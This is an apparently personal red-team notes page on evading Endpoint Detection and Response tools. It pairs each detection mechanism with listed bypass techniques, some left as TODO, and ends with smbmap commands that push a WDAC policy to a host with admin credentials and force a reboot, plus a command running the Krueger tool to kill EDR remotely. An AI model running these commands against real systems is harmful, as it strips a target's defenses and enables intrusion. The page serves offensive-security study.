~/bokkapig
hack the box machine writeups

Endpoint Detection and Response

contents

Endpoint Detection and Response (EDR) is a security solution that combines real-time monitoring, data collection, and advanced analytics to detect, investigate, and respond to cyber threats at the endpoint level. Leveraging machine learning algorithms and behavioral analysis, EDR tools can identify malicious activities, automate containment and remediation actions, and provide forensic insights to enhance an organization’s overall security posture.

Static Detection#

Mechanism: Static detection is a security technique used in EDR and antivirus software that analyzes files and applications without executing them, typically based on predefined signatures or known malicious patterns.

Bypass:

  • Obfuscate strings
  • Dynamically resolving strings
  • Dynamically resolving imports, reducing the Import Address Table (IAT)
  • Custom GetProcAddress and GetModuleHandle
  • API Hashing

User Behavioural Analysis#

Mechanism: User Behavioral Analysis (UBA) monitors and analyzes user activities and patterns to detect anomalies and potential threats.

Bypass:

  • Learning about OPSEC methods

Usermode Windows Function Monitoring#

Mechanism: Usermode Windows Function Monitoring is a technique that tracks and analyzes the execution of Windows API (Application Programming Interface) calls and functions within user space processes.

Bypass:

  • Unhooking
  • Indirect syscalls

Call Stack Analysis#

Mechanism: Checking the origin of function calls via the Call Stack chain

Bypass:

  • TODO
  • TODO

Process Analysis#

Mechanism: Process analysis includes inspecting memory regions, identifying remote process access, and assessing child processes to gain insights into process relationships, uncover hidden or suspicious activities.

Bypass:

  • Avoid RWX memory region (RW->RX)
  • Break parent-child link (e.g: word.exe spawning cmd.exe)
  • TODO

Kernel Callbacks#

Mechanism: Kernel callbacks in the context of Endpoint Detection and Response (EDR) are functions registered by kernel drivers that get triggered in response to specific events or actions within the operating system’s kernel.

Bypass:

  • TODO

WDAC to Disable EDR Components#

Place the WDAC policy SiPolicy.p7b inside C:\Windows\System32\CodeIntegrity\ and reboot the machine.

smbmap -u Administrator -p P@ssw0rd -H 192.168.4.4 --upload "/home/kali/SiPolicy.p7b" "ADMIN\$/System32/CodeIntegrity/SiPolicy.p7b"
smbmap -u Administrator -p P@ssw0rd -H 192.168.4.4 -x "shutdown /r /t 0"

Using Krueger a .NET post-exploitation tool.

  • logangoins/Krueger - Proof of Concept (PoC) .NET tool for remotely killing EDR with WDAC

    inlineExecute-Assembly --dotnetassembly C:\Tools\Krueger.exe --assemblyargs --host ms01

References#